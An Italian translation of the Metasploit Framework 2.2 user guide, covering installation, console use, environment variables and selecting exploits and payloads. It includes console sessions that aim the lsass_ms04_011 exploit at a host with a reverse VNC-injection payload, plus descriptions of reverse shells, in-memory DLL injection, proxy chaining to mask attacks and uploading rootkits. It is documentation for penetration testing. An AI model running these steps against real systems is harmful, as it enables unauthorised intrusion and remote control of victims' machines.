Metasploit Framework Version 2.2
Corso *Crash* per Utenti

Introduzione

Questo documento vuole essere una sorta di guida per l'utente alla versione 2.2 del Metasploit Framework (letteralmente *framework* vuole dire *struttura* N.d.T.). Lo scopo e' di fornire nozioni basilari su cosa e' il Framework, come funziona e cosa ci si puo' fare. Come per molti altri software *open-source*, una corretta documentazione accompagna l'attuale sviluppo del progetto. Se si possiedono ottime doti tecniche e redazionali e si intende contribuire al Framework, e' possibile contattare gli autori e sviluppatori all'indirizzo email riportato in fondo a questo documento.

Metasploit Framework e' un ambiente completo per scrivere, testare e usare codici *exploit.* Fornisce una solida piattaforma per *penetration testing*, sviluppo di *shellcode* e ricerca di vulnerabilita'. La maggior parte di Framework e' composta di codice Perl *orientato all'oggetto* con componenti aggiuntivi scritti in C, Assembler e Python.

Al momento ci sono 2 sviluppatori del *core*, 2 importanti collaboratori e un nutrito gruppo di persone che ha fornito idee o codici che sono stati poi inseriti nel progetto per la loro validita'. Per una lista completa dei partecipanti al progetto si prega di far riferimento all'apposito *modulo exploit dei Crediti*.

Installazione

Installazione sotto Unix
Installare il Framework e' facile come estrarre un file compresso *tarball*; basta portarsi dentro la directory creata ed eseguire la vostra interfaccia utente preferita. E' caldamente raccomandato di compilare ed installare il modulo Perl *Term::ReadLine::Gnu* che si trova nella sottodirectory chiamata "extras". Questo pacchetto abilita il completamento tramite bottone TAB nell'interfaccia *msfconsole* che e' l'interfaccia utente preferibile per l'utilizzo quotidiano. Se si desidera un supporto SSL, installare il modulo Perl *Net::SSLeay* che si trova sempre dentro "extras".

Per effettuare un'installazione su grossi sistemi, raccomandiamo di copiare l'intera directory di Framework in una locazione accessibile a tutti (/usr/local/msf) e quindi di creare *link simbolici* dalle applicazioni msf* a una directory nel percorso di sistema (/usr/local/bin). I moduli specifici dell'utente possono essere inseriti dentro alla directory $HOME/.msf/<TYPE>, dove TYPE e' uno degli exploits, dei *payloads*, dei *nops* o degli *encoders*.

Installazione sotto Windows
Dopo mesi di lavoro sui *bug* di ActiveState, abbiamo deciso di abbandonarlo e di supportare solamente Cygwin Perl. L'installer per Win32 di Metasploit Framework comprende una spoglia copia dell'ambiente Cygwin che e' risultato essere il modo migliore per usare il Framework su piattaforme Windows. Se si desidera installare Framework su un ambiente Cygwin gia' esistente, fare riferimento al file "docs/QUICKSTART.cygwin" nella directory di installazione; ci sono alcune questioni riguardo l'installazione dei moduli *Term::ReadLine::Gnu* e *Net::SSLeay* che richiedono salti mortali per essere risolti.

Avvertimenti sulle Piattaforme
Nonostante abbiamo cercato di supportare il maggior numero di piattaforme, sono stati riscontrati alcuni problemi di compatibilita'. Se pensate di accedere all'interfaccia di msfweb da un sistema MacOS X, sappiate che Internet Explorer manifestera' problemi nell'ultima parte del processo di *exploit*. Questi inconvenienti sono dovuti al fatto che Internet Explorer non riesce a mostrare l'*output* incrementale dal server HTTP 1.0. Il supporto ai *raw socket* e' considerato non-funzionante per Cygwin, AIX, HPUX and probabilmente anche Solaris. Infatti la capacita' di *spoofare* pacchetti UDP durante un attacco usando la variabile d'ambiente Udpsourcelp potrebbe risultare inefficace. Gli utenti Windows potrebbero incontrare problemi durante l'utilizzo dell'installer Win32 su sitemi che presentano una vecchia versione del file Cygwin gia' installata.

Sistemi Operativi Supportati
Il Framework dovrebbe funzionare su quasi tutti I sistemi operativi basati su Unix, che comprendano una completa e aggiornata versione dell'interprete Perl (5.6+). Ogni versione stabile del Framework e' testata sulle quattro piattaforme primarie.

- Linux (x86, ppc) (2.4, 2.6)
- Windows NT (4.0, 2000, XP, 2003)
- BSD (Open 3.x, Free 4.6+)
- MacOS X (10.3.3)

Sono stati riscontrati problemi nelle seguenti piattaforme::

- Windows 9x (95, 98, ME)
- HP-UX 11i (requires Perl upgrade)

Abbiamo ricevuto numerose segnalazioni che il Framework funziona bene su Solaris, AIX e persino su Sharp Zaurus (basato su Linux). Questi sistemi richiedono spesso un aggiornamento del Perl unitamente con le utilita' *GNU*, per poter funzionare correttamente.

Aggiornamento del Framework
A partire dalla versione 2.2, il Framework include l'utilita' di aggiornamento online denominata *msfupdate*. Questo script puo' essere usato per scaricare e installare l'ultima versione aggiornata del Framework direttamente dal sito metasploit.com. L'utilita' esegue un aggiornamento "per-file", confrontando il *checksum* del file locale con quelli disponibili dal sito internet. Questo procedimento avviene attraverso una connessione SSL validata, presupponendo che il modulo *Net::SSLeay* sia installato. Questa procedura non e' completamente priva di rischi d'errore e dipende ancora dalla sicurezza del server web di metasploit.com. Per saperne di piu' sul msfupdate basta eseguirlo con l'opzione –h.

Se non si vuole utilizzare il sistema di aggiornamento online e' possibile scaricare i moduli aggiornati dal sito web di metasploit.com. Prossimamente verra' sviluppata un'interfaccia grafica per scaricare l'ultimo aggiornamento stabile.

Per iniziare

L'Interfaccia della Console

Dopo aver installato il Framework, bisogna verificare che tutto funzioni correttamente. Il modo piu' veloce per fare cio' consiste nell'eseguire l'interfaccia utente *msfconsole*. Questa dovrebbe mostrare il logo Metasploit in ASCII, mostra la versione corrente del framework, il numero di *payloads*, il numero di *exploits* e successivamente dovrebbe aprire una finestra di console "msf". Da qui', digitare **help** per avere la lista dei comandi disponibili. Il *modo* corrente e' settato su "main"; questo vi permette di visualizzare gli *exploits* ed i *payloads* e vi consente inoltre di configurare le opzioni generali. Per avere la lista di tutti gli *exploits* disponibili digitare **show exploits.** Per avere maggiori informazioni circa un determinato exploit digitare **info nome_del_modulo**.

Efficienza della console

La console e' stata pensata per essere estremamente efficiente e puo' essere usata come standard *shell* in molte situazioni. Se viene inserito un comando sconosciuto, la console cerchera' all'interno del sistema per determinare se si tratti di comandi esterni al Framework. Se trova una corrispondenza, viene eseguito il comando esterno con le proprie opzioni. Questo permettera' di usare il set di programmi/comandi personalizzato senza dover uscire dalla console.
Il completamento automatico tramite TAB si basa sulla ricerca per confronto dei nomi dei file, se il comando inserito non e' di quelli interni alla console. Cio' permette di navigare il File System normalmente, come si fa usando una *shell bash*.

Selezionare un exploit

E' possibile selezionare una *exploit* dalla finestra di msf digitando il comando **use**. A questo seguira' come secondo argomento, il nome del modulo *exploit* che si intende utilizzare. Successivamente bisogna *settare* il *modo* dell'*exploit* e caricare l'ambiente Temporaneo per quell'*exploit*. E' possibile passare da un *exploit* attivo all'altro con il comando **use** oppure tornare alla *shell* principale con il comando **back**.

Basi di Exploits

Dopo aver selezionato *l'exploit*, la scelta dei comandi cambia. Digitare il comando **help** per avere un'idea dei comandi disponibili. Il comando **show** richiede argomenti diversi che permettono di visualizzare le opzioni standard, quelle avanzate,gli *obbiettivi* dell'*exploit* e i *payload* compatibili.Il comando **check** controlla il bersaglio mentre il comando **exploit** lancia l'*exploit* selezionato.

Ambienti

Il sistema ambiente e' una componente fondamentale del Framework; l'interfaccia se ne serve per configurare diverse opzioni, il *payload* lo usa per *patchare* gli *opcodes*, gli *exploits* lo usano per definire i parametri e viene inoltre utilizzato internamente dai moduli per passarsi le opzioni. Il sistema ambiente e' diviso logicamente in Globale e Temporaneo.

Ogni *exploit* conserva il proprio Ambiente Temporaneo, che va a sovrascrivere l'Ambiente Globale. Quando si seleziona un *exploit* tramite il comando **use**, l'ambiente temporaneo per quell'exploit viene caricato e il precedente viene salvato prima di essere chiuso. Quindi se si ritorna all'exploit precedente ecco che l'ambiente temporaneo per quell'exploit viene caricato nuovamente.

Ambiente Globale

Per accedere all'ambiente Globale dalla console bisogna digitare l comandi **setg** e **unsetg**. L'esempio che segue mostra lo stato dell'ambiente Globale appena dopo una recente installazione. Digitando **setg** senza argomenti si otterra' lo stato attuale dell'ambiente globale mentre digitando **unsetg** senza argomenti si avra' la completa "pulizia" dell'ambiente globale. Le impostazioni base verranno quindi caricate al primo avvio dell'interfaccia.

```
+ -- --=[ msfconsole v2.2 [34 exploits - 33 payloads]

msf > setg
AlternateExit: 2
DebugLevel: 0
Logging: 0
msf >
```

Ambiente Temporaneo

Per accedere all'ambiente temporaneo, digitare I comandi **set** e **unset**. Questo ambiente viene applicato solamente al modulo *exploit* correntemente caricato. Ovviamente passando ad un altro *exploit* tramite il comando **use** cambiera' anche l'ambiente temporaneo caricato. Se nessun modulo *exploit* e' caricato, i comandi **set** e **unset** non sono disponibili.Gli ambienti temporanei inattivi vengono mantenuti in memoria e attivati una volta che il modulo a loro associato viene caricato. Il seguente esempio mostra come il comando **use** seleziona l'*exploit* e come il comando **back** riporti indietro alla console principale.

```
msf > use apache_chunked_win32
msf apache_chunked_win32 > set
msf apache_chunked_win32 > set FOO BAR
FOO -> BAR
msf apache_chunked_win32 > set
FOO: BAR
msf apache_chunked_win32 > back
msf > use poptop_negative_read
msf poptop_negative_read > set
msf poptop_negative_read > back
msf > use apache_chunked_win32
msf apache_chunked_win32 > set
FOO: BAR
msf apache_chunked_win32 >
```

Ambiente Salvato

Il comando **save** puo' essere usato per sincronizzare l'ambiente Globale e tutti gli ambienti Temporanei con il disco. L'ambiente salvato viene scritto sul file ~/.msf/config e sara' caricato non appena eseguita un'interfaccia utente qualsiasi.

Uso pratico dell'ambiente

Questo sistema di ambienti divisi permette di risparmiare tempo durante il processo di *exploit* e durante un'azione di *pen testing*. Le opzioni comuni fra *exploits* possono essere impostate nell'ambiente Globale in modo che siano utilizzate sempre nel caricamento di ogni *exploit*.

L'esempio riportato di seguito mostra come gli ambienti Globali di LPORT, LHOST e PAYLOAD possano essere usati per risparmiare tempo durante la fase di *exploit* su obbiettivi con sistema operativo Windows. Se questo ambiente viene impostato e un *exploit* per sistemi Linux viene usato, l'ambiente Temporaneo (attraverso **set** e **unset**) puo' essere usato per aggirare queste impostazioni predefinite.

```
msf > setg LPORT 1234
LPORT -> 1234
msf > setg LHOST 192.168.0.10
LHOST -> 192.168.0.10
msf > setg PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf > use apache_chunked_win32
msf apache_chunked_win32(win32_reverse) > show options
Exploit and Payload Options
===========================

 Exploit:    Name      Default    Description
 --------    ------    -------    ------------------
 optional    SSL                  Use SSL
 required    RHOST                The target address
 required    RPORT     80         The target port

 Payload:    Name        Default    Description
 --------    --------    -------    ----------------------------------------
 optional    EXITFUNC    seh              Exit technique: "process", "thread", "seh"
 required    LPORT       1234             Local port to receive connection
 required    LHOST       192.168.0.10     Local address to receive connection
```

Variabili d'ambiente

L'ambiente puo' essere usato per configurare molti aspetti del Framework, andando dalle impostazioni dell'interfaccia utente sino alle impostazioni specifiche di *timeout* nel *socket* di rete API. Questa sezione descrive le variabili

d’ambiente piu’ utilizzate comunemente.

DebugLevel (livello di *debug*)

Questa variabile viene usata per controllare i messaggi di *debug* risultanti dai componenti del Framework. Impostare questo vaolre su 0 evitare che i messaggi di *debug* vengano mostrati (impostazione base). I valori della variabile *DebugLevel* vanno da 0 a 5.

Logging

Questa variabile viene usata per abilitare o disabilitare il monitoraggio della sessione. I *log* vengono salvati in ~/.msf/logs ma questa directory puo’ essere cambiata usando la variabile d’ambiente LogDir. Per visualizzare i *log* della sessione e’ possibile servirsi dell’utilita’ **msflogdump**. Questi *log* contengono l’ambiente completo per l’*exploit* nonche’ il *timestamp* per pacchetto.

LogDir

Questa opzione specifica quale directory deve essere usata per immagazzinare I *log*. Di base la directory usata e’ ~/.msf/logs. Ci sono due tipi di *log* file: il *log* principale e i *log* delle sessioni. Il *log* principale registra ogni azione significativa eseguita dalla interfaccia console. Un nuovo *log* di sessione viene creato per ogni tentativo di *exploit* andato a buon fine.

Encoder

Questa variabile puo’ essere impostata in una lista (separare ogni voce con virgole) di Encoders preferiti. Il Framework provera’ prima questa lista di Encoders (nel ordine trovato) dopodiche’ andra’ a provare i rimanenti Encoders. Per una lista degli Encoders disponibili, digitare **show encoders**.

```
msf> set Encoder ShikataGaNai
```

EncoderDontFallThrough

Questa opzione ordina al Framework di non utilizzare gli altri encoders nel caso in cui non trovi gli encoders preferiti. Cio' e' utile per mantenere la sicurezza all'interno di una rete, evitando di usare un encoder non voluto in caso fallisca l'encoder preferito.

Nop

Ha lo stesso comportamento della variabile Encoder sopra menzionata, eccetto che viene usato per specificare la lista dei moduli generatori *Nop* preferiti. La lista dei generatori *Nop* si ottiene digitando **show nops**.

```
msf> set Nop Pex
```

NopDontFallThrough

Ha lo stesso comportamento dell'opzione EncoderDontFallThrough, solamente che viene applicata alla lista dei *Nop* preferiti.

RandomNops

Questa opzione consente di intercambiare in maniera casuale l *nop* anziche' usare lo standard *nop* opcode. RandomNops dovrebbe essere stabile e affidabile per tutti gli *exploit* inclusi nel Framework.

ConnectTimeout

Questa opzione permette di specificare un tempo limite di connessione per *socket* TCP. Il valore di partenza e' 10 ma potrebbe essere necessario aumentarlo per riuscire nell'*exploit* di sistemi attraverso brevi collegamenti.

RecvTimeout

Questa opzione specifica il numero massimo di secondi permessi per ogni lettura di *socket* che specifica il valore di lunghezza speciale di –1. Ancora una volta potrebbe rendersi necessario aumentare questo valore per *exploit* con collegamenti di breve durata.

RecvTimeoutLoop

Questa opzione specifica il numero massimo di secondi da attendere per ricevere dati su un *socket* prima di rimandarlo indietro.Ogni volta che dei dati vengono ricevuti in questo periodo definito, il ciclo riparte da capo.Aumentare questo valore per *exploit* con collegamenti di breve durata.

Proxies

Questa variabile d'ambiente forza tutti I *socket* TCP a passare attraverso una specifica catena di *proxy*. Il formato della catena e' *tipo:host:porta* per ogni *proxy*, separato da una virgola. La versione 2.2 supporta SOCK4 e *proxy* http.

ForceSSL

Questa variabile forza tutti I *socket* TCP a negoziare con il protocollo SSL. Cio' e' utile solo nel caso che un modulo di *exploit* non fornisca l'opzione "SSL" all'utente.

UdpSourceIp

Questa variabile d'ambiente puo' essere usata per controllare l'indirizzo *IP* di origine dal quale vengono mandati tutti i *datagrammi UDP*. E' valida solo nel caso vengano utilizzati *exploit* basati sull' *UDP* (MSSQL, ISS, etc). La variabile dipende dalla possibilita' di aprire dei *raw socket* , che normalmente e' possibile per l'utente *root* o amministratore. Per quanto riguarda la versione 2.2, questa caratteristica non funziona con l'ambiente Cygwin.

NinjaHost

Questa variabile puo' essere impiegata per reindirizzare tutte le connessioni *payload* ad un server socketNinja. Il valore da assegnare dovrebbe essere l'*indirizzo Ip* del computer con il server socketNinja attivo.

NinjaPort

Valore abbinato alla variabile NinjaHost, per definire la porta alla quale collegarsi sul server che fa girare il server socketNinja.

NinjaDontKill

Questa opzione puo' essere usata per *exploitare* diversi sistemi con un solo tentativo. Risulta particolarmente utile negli attacchi basati su UDP per indirizzi di trasmissione della rete.

AlternateExit

Questa opzione risolve un problema riscontrato in certe versioni dell'interprete Perl. Se la msfconsole va in *crash* con un errore di *segmentation fault*, si consiglia di settare questa opzione con il valore "2".

Per una lista completa di tutte le variabili d'ambiente disponibili, si prega di far riferimento al file Environmetns.txt che si trova nella sottodirectory "docs" del Framework..

Usare il Framework

Sciegliere un modulo *exploit*

Dall'interfaccia msfconsole, digitare **show exploits** per avere la lista degli *exploit* disponibili. Selezionarne uno tramite il comando **use**, specificando il nome del modulo come argomento. Il comando **show info** mostra informazioni riguardo al modulo *exploit* specificato.

Configurare l'exploit attivo

Una volta seleziona l'*exploit*, il passo successivo e' determinare quali opzioni richiede Cio' si puo' fare digitando il comando **show options**. La maggior parte degli *exploit* usa l'opzione **RHOST** per specificare l'indirizzo bersaglio e **RPORT** per definire la porta del bersaglio. Usare **set** per impostare correttamente i valori richiesti dalle opzioni. Per dubbi su cosa fa una determinata opzione, fare riferimento al *codice sorgente* del modulo. Alcuni *exploit* offrono delle opzioni avanzate, visibili tramite il comando **show advanced**.

Verificare le opzioni dell'exploit

Il comando **check** e' utile per verificare se un dato bersaglio e' vulnerabile al modulo *exploit* attivo. Praticamente una scorciatoia per controllare che tutte le opzioni siano state correttamente inserite e che il bersaglio sia effettivamente vulnerabile. Non tutti gli *exploit* hanno implementato il comando **check**. Infatti in molti casi e' praticamente impossibile determinare se un servizio e' vulnerabile senza averlo prima attaccato direttamente. Il comando **check** non dovrebbe mai causare un *crash* della macchina e nemmeno renderla inservibile. Molto moduli mostrano semplicemente informazioni sulla versione e attendono che sia l'utente ad analizzare i dati prima di proseguire.

Selezionare il *Payload*

Il *payload* e' il codice attuale selezionato che verra' eseguito sul sistema bersaglio, una volta che l'*exploit* avra' avuto successo. Usare il comando **show payloads** per avere la lista di tutti i payload compatibili con l'*exploit* correntemente selezionato. Se l'attaccante e' dietro un firewall, il payload migliore e' senza dubbio il *bind shell payload*. Se invece il bersaglio si trova dietro firewall e l'attaccante no, il payload da usare sara' il *reverse connect payload*. Per informazioni sui payload, digitare **info <nome_payload>**.

Una volta deciso il payload da utilizzare, usare il comando **set** per specificare il nome del modulo payload e il valore per la variabile d'ambiente **PAYLOAD**. Successivamente usare il comando **show options** per visualizzare tutte le opzioni disponibili per il payload desiderato. Quasi tutti i payload hanno almeno una opzione richiesta obbligatoriamente. Le opzioni avanzate sono visualizzabili tramite il comando **show advanced**.

Selezionare il bersaglio

La maggior parte degli *exploit* richiede che la variabile d'ambiente **TARGET** sia impostata con l'elenco dei bersagli desiderati. Il comando **show targets** mostrera' la lista dei possibili bersagli disponibili con il modulo *exploit* selezionato. Molto *exploit* usano come impostazione predefinita del **TARGET** il *brute-force*, cosa che potrebbe non essere gradita in tutte le occasioni.

Lanciare l'exploit

Il comando **exploit** lancia l'attacco. Se tutto e' andato bene, il *payload* verra' eseguito e potrebbe darvi la possibilita' di avere una *shell di comando* sul sistema attaccato.

L'interfaccia a riga di comando

Se pensate che la console sia eccessiva per le vostre necessita', troverete sicuramente interessante l'interfaccia msfcli. Questa interfaccia usa come primo parametro una data stringa , seguita dalle opzioni in formato VAR=VAL e per ultimo da un codice di attivazione per specificare cosa dovrebbe essere fatto. La stringa da cercare e' usata per determinare quale exploit si vuole usare; nel caso che piu' moduli combacino con la stringa di ricerca, viene visualizzata la lista di questi possibili moduli.

Il codice di attivazione e' composto da una singola lettera; **S** per il sommario, **O** per le opzioni, **A** per quelle avanzate, **P** per i *payload*, **T** per i bersagli, **C** per il controllo della vulnerabilita' ed **E** per *exploit*. L'ambiente salvato verra' poi caricato e utlizzato all'avvio, permettendo di configurare le opzioni di base del l'ambiente Globale della *msfconsole*, salvarle e approfittare della interfaccia

msfcli.

Questa interfaccia a *riga di comando* e' particolarmente adatta per i processi automatici di *exploit* e per i test tramite programmi BATCH; se combinata con un buon *payload* e uno *scanner* intelligente puo' risultare spietata! :)

L'Interfaccia Web

L'interfaccia denominata *msfweb* e' un server web funzionale che permette di lanciare attacchi dal vostro *browser* web. L'interfaccia e' ancora abbastanza primitiva ma puo' essere utile ad utenti che lavorano in un team che effettua dei *pen-testing*. La connessione all'host exploitato passa attraverso una porta casuale sul server web e all'utente viene dato un collegamento in protocollo telnet a questo *listener* appena creato dinamicamente.

L'interfaccia *msfweb* non garantisce nessun tipo di sicurezza; chiunque all'interno della rete puo' collegarsi al server web o alla porta selezionata dinamicamente. La configurazione di base attiva l'ascolto solo sulla porta di *loopback* ma puo' essere cambiato inserendo l'opzione –a che consiste in un valore *indirizzo:porta*. Esattamente come l'interfaccia a riga di comando, anche l'ambiente salvato viene caricato all'avvio e puo' modificare le impostazioni dei moduli. Si raccomanda di NON utilizzare l'interfaccia msfweb in ambienti di produzione.

Caratteristiche avanzate

Questa sezione presenta alcune delle caratteristiche avanzate che si possono trovare in questa versione. Queste opzioni possono essere usate con qualsiasi *exploit* compatibile e mettono in risalto l'efficacia di codici per attacchi sviluppati tramite il Framework.

InlineEgg Python Payload

La libreria InlineEgg è una classe *Python* per generare dinamicamente piccoli programmi scritti in linguaggio Assembly. L'utilizzo piu' diffuso di questa libreria e' per creare velocemente *payload* avanzati per *exploit*. Questa libreria e' stata sviluppata da Gera per essere usata assieme con i prodotti Core ST Impact. Core ha rilasciato al pubblico questa libreria sotto licenza non-commerciale.

Il Metasploit Framework supporta i payload InlineEgg attraverso il modulo interfaccia ExternalPayload; cio' permette un supporto trasparente se il linguaggio di *scripting* Python e' installato. Per abilitare il *payload* InlineEgg, la variabile **EnablePython** deve essere impostata con valore diverso da zero. Questa modifica e' stata effettuata sulla versione 2.2 per velocizzare il processo di ricaricamento del modulo.

Questa versione include esempi di InlineEgg per Linux, BSD e Windows. Gli esempi per Linux sono *linx86_reverse_ie, linux86_bind_ie e linux86_reverse_xor*. Questi *payload* possono essere selzionati ed utilizzati come qualsiasi altro *payload*. Il contenuto del *payload* viene generato dinamicamente dagli *script* in Python nella sottodirectory payloads/external. I *payload* per BSD funzionano esattamente come i loro equivalenti per Linux.

L'esempio di InlineEgg per Windows e' chiamato *win32_reverse_stg_ie* e funziona in maniera leggermente diversa. Questo *payload* ha uno'opzione chiamata **IEGG**, la quale specifica il percorso allo script Python InlineEgg che contiene i payload finale. Si puo' definire questo come un payload a fasi: la prima fase e' un normale collegamento di ritorno mentre la seconda fase invia l'indirizzo di GetProcAddress e LoadLibraryA attraverso questo collegamento. La terza fase del payload infine e' generata localmente e inviata attraverso la rete. Un esempio chiamato *win32_stg_winexec.py* di InlineEgg e' incluso nella sottodirectory payloads/external. Per maggiori informazioni sull'InlineEgg si prega di fare riferimento al sito internet di Gera:

http://community.corest.com/~gera/ProgrammingPearls/InlineEgg.html

Iniezione ELF “Impurity”

“Impurity” e’ un concetto sviluppato da Alexander Cuttergo che descrive il metodo di caricamento ed esecuzione in-memoria di un nuovo eseguibile ELF. Questa tecnica permette di scrivere in C dei payload complessi. Il Framework include un *loader* per Linux di eseguibili “Impurity”; il payload si chiama *linx86_reverse_impurity* e richiede che l’opzione **PEXEC** sia impostata sul percorso dell’eseguibile. Gli eseguibili “Impurity” devono essere compilati in una determinata maniera, a tal proposito fare riferimento alla documentazione presente nella sottodirectory src/shellcode/linux/impurity. L’applicativo “shelldemo” incluso nella sottodirectory dei dati permette di elencare, accedere, leggere, scrivere e aprire parti di file durante il processo di exploit. L’archivio originale di tutta la corrispondenza inerente all’argomento si puo’ reperire presso:

http://archives.neohapsis.com/archives/vuln-dev/2003-q4/0006.html

Proxy Concatenabili

Il Framework include un supporto trasparente per proxy TCP; infatti questa versione contiene dei gestori di routine per server HTTP CONNECT e SOCKS4. Per usare un proxy con l’exploit desiderato, bisogna impostare la variabile d’ambiente **Proxies**. Il valore della variabile sara’ una lista di server proxy separati da virgole, dove ogni server e’ in formato *tipo:host:porta*. Il “tipo” puo’ essere settato come *http* per HTTP CONNECT oppure come *socks4* per il SOCKS4. Si possono concatenare proxy senza alcun limite di numero; il sistema si e’ infatti dimostrato stabile nonostante gli oltre cinquecento SOCKS e HTTP server configurati a caso in catena. Questa serie di proxy maschera la richiesta di exploit ma la connessione automatica al payload non viene filtrata attraverso la catena dei proxy e quindi, di fatto non e’ mascherata.

UploadExec Payload per sistemi Win32

I sistemi Unix normalmente includono gia’ I tool necessari per uno scenario di post-exploit. Al contrario, i sistemi Windows sono di solito assenti in un qualsiasi toolkit da riga di comando degno di tale nome.Il payload UploadExec incluso in questa versione del Framework, permette di exploitare sistemi Windows simultaneamente, caricare il tool preferito ed eseguirlo, il tutto attraverso il socket di collegamento del payload. Se combinato con un rootkit auto-estraente o con un interprete di linguaggio (perl.exe per esempio), questo payload puo’ risultare molto potente.

Iniezione di Payload dentro a DLL di sistemi Win32

La versione 2.2 del Framework include un payload a fasi capace di iniettare una determinata DLL nella memoria in combinazione con qualsiasi exploit per sistemi Win32. Con questo payload nessun file verra' scritto su disco; la DLL e' caricata direttamente in memoria ed e' avviata come un nuovo *thread* nel processo di exploit. Questo payload e' stato sviluppato da Jarkko Turkulainen e Matt Miller ed e' una delle tecniche post-exploit piu' potenti mai realizzate finora. Per creare una DLL che possa essere usata con questo payload basta usare l'ambiente di sviluppo preferito e costruire una DLL standard per Win32. Questa DLL dovrebbe esportare una funzione chiamta Init, che prende un singolo argomento, un numero intero che contiene la descrizione della connessione del payload. La funzione Init diventa il punto di accesso per il nuovo thread, all'interno del processo di exploit. Quando questo e' completo, l'Init dovrebbe ritornare e permettere cosi' alla matrice del *loader* di uscire dal processo secondo la variabile d'ambiente **EXITFUNC**. Se si vogliono creare le proprie DLL per il payload, e' possibile fare riferimento alla directory src/shellcode/win32/dllinject.

Iniezione di una DLL dentro un Server VNC

Uno dei primi payload sviluppati, che utilizzano la tecnica dell'iniezione di DLL, e' stato un server VNC personalizzato. Questo server e' stato scritto da Matt Miller, basandolo sul sorgente di RealVNC. Ulteriori modifiche sono state apportate per permettere al server di funzionare con servizi di rete exploitati e non-interattivi. Questo payload permette l'accesso immediato al desktop del sistema remoto exploitato usando un qualsiasi exploit per Win32. La DLL viene caricata nel processo remoto attraverso uno qualsiasi dei sistemi di caricamento a fasi (staged loader systems), viene avviata come nuovo thread nel processo di exploit e successivamente viene messa in ascolto per richieste da parte di client VNC sullo stesso socket usato per caricare la DLL. Semplicemente il Framework resta in ascolto, su un socket locale, per richieste da parte di client VNC, portando i dati nascosti attraverso la connessione al server del payload.

Il server VNC cerca di ottenere accesso completo al desktop corrente interattivo. Se il primo tentativo fallisce, il server chiama *RevertToSelf()* e poi riprova nuovamente. Se fallisce ancora ad ottenere accesso completo al desktop, allora ripiega sulla modalita' di sola lettura. In questa modalita', l'utente del Framework puo' guardare il contenuto del desktop ma non puo' interagire con esso. Se fosse stato raggiunto accesso completo al desktop, il server VNC farbbe comparire una shell di comando sul desktop con i privilegi del servizio exploitato. Cio' e' molto utile in situazioni dove un utente non-privilegiato ha accesso al desktop interattivo ma il servizio exploitato gira con privilegi di sitema.

Se nessun utente interattivo e' inserito nel sistema o se lo schermo e' stato bloccato, la shell di comando puo' essere usata per lanciare explorer.exe. Questo puo' causare confusione negli utenti, qualora la schermata di Logon abbia anche un proprio menu di avvio. Se il desktop interattivo viene cambiato,

oppure se qualcuno si sta inserendo nel sistema o sta bloccando lo schermo, allora il server VNC si disconnette. Le prossime versioni potrebbero cercare di seguire il cambio di desktop.

Per usare il payload di iniezione del server VNC, bisogna specificare il percorso completo al server VNC e al valore dell'opzione **DLL**. Il server VNC puo' essere trovato nella sottodirectory data dell'installazione del Framewrok. Il suo nome e' *vncdll.dll*. Il codice sorgente della DLL si puo' trovare nella sottodirectory src/shellcode/win32/dllinject/vncinject, sempre nell'installazione del Framework.

```
msf > use lsass_ms04_011
msf lsass_ms04_011 > set RHOST some.vuln.host
RHOST -> some.vuln.host
msf lsass_ms04_011 > set PAYLOAD win32_reverse_vncinject
PAYLOAD -> win32_reverse_vncinject
msf lsass_ms04_011(win32_reverse_vncinject) > set LHOST your.own.ip
LHOST -> your.own.ip
msf lsass_ms04_011(win32_reverse_vncinject) > set LPORT 4321
LPORT -> 4321
msf lsass_ms04_011(win32_reverse_vncinject) > exploit
```

Se l'applicazione *vncviewer* e' nel vostro percorso e l'opzione AUTOVNC e' stata settata (default), il Framework aprira' automaticamente il desktop del VNC. Per collegarsi al desktop manualmente, bisogna **settare AUTOVNC 0** e poi usare *vncviewer* per collegarsi all'indirizzo 127.0.0.1 porta 5900.

Informazioni aggiuntive

Web Site

Il sito web http://metasploit.com e' sicuramente il primo posto dove andare a guardare per aggiornamenti, moduli e nuove versioni. Il sito ospita inoltre il Database di Opcode nonche' un decente archivio di shellcode per Windows.

Mailing List

E' possibile iscriversi alla mailing list del Metasploit Framework semplicemente mandando una email vuota a framework-subscribe[at]metasploit.com. Questo e' il mezzo preferito per segnalare bug, suggerire nuove caratteristiche e discutere del Framework con altri utilizzatori.

Sviluppatori

Chi vuole contribuire allo sviluppo del Framework e delle prossime nuove versioni puo' contattare gli sviluppatori direttamente a msfdev[at]metasploit.com

Traduzione

L'intera traduzione di questo documento esplicativo e' stata effettuata dal sottoscritto Marco Monicelli con interpretazioni a volte personali della terminologia informatica usata e spesso non traducibile letteralmente in italiano. Chiunque abbia bisogno di informazioni o di traduzioni dall'inglese e in inglese puo' mandarmi una email a yog[at]heap.nl oppure a monnezza[at]rimasters.org.